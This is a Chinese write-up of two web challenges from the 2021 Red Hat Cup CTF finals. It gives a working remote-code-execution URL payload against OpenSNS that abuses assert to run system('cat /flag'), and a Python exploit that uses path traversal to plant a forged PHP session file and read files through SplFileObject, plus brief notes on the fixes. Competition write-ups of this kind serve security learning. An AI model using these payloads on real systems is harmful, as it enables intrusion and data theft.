2021红帽杯决赛部分wp

admin 2021年7月25日19:46:26评论301 views字数 1345阅读4分29秒阅读模式

Web

opensns

看日志,日志里有一条可疑的payload

2021红帽杯决赛部分wp
image-20210724171138127
[ 2021-05-19T20:05:12+08:00 ] 127.0.0.1 /?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=phpinfo()%26id[0]=a
INFO: [ app_init ] --START--

打一下,发现出现phpinfo()界面

改一下payload

/?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=system('cat /flag')%26id[0]=a
2021红帽杯决赛部分wp
image-20210724171311259

修复

随便加加正则过滤就行

upload

从这里我们可以控制初始化任意类

2021红帽杯决赛部分wp
image-20210724171443114

写文件的位置没有过滤,可以目录穿透,从phpinfo可以看到session文件的存放位置为/tmp

也就是说可以控制session文件

利用内置类SplFileObject可以读文件,上传session文件即可控制$_SESSION

exp如下

import requests
url = "http://172.16.9.2:9004/"
cookie = {"PHPSESSID":"rayi"}
data = {"filename":"../../../../../../../../../../../tmp/sess_rayi","content":'''i|i:0;f|i:0;e|s:0:"";form|i:0;CmsCode|s:7:"refresh";time|i:1626097284;func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}'''}
web1 = requests.post(url,data=data,cookies=cookie)
web2 = requests.get(url,cookies=cookie)
print(web2.text)

修复

当时修的时候只发现了这里有个动态变量

2021红帽杯决赛部分wp
image-20210724171914216

于是就写死了,就check过了


本文始发于微信公众号(山警网络空间安全与电子数据取证):2021红帽杯决赛部分wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月25日19:46:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2021红帽杯决赛部分wphttps://cn-sec.com/archives/435194.html

发表评论

匿名网友 填写信息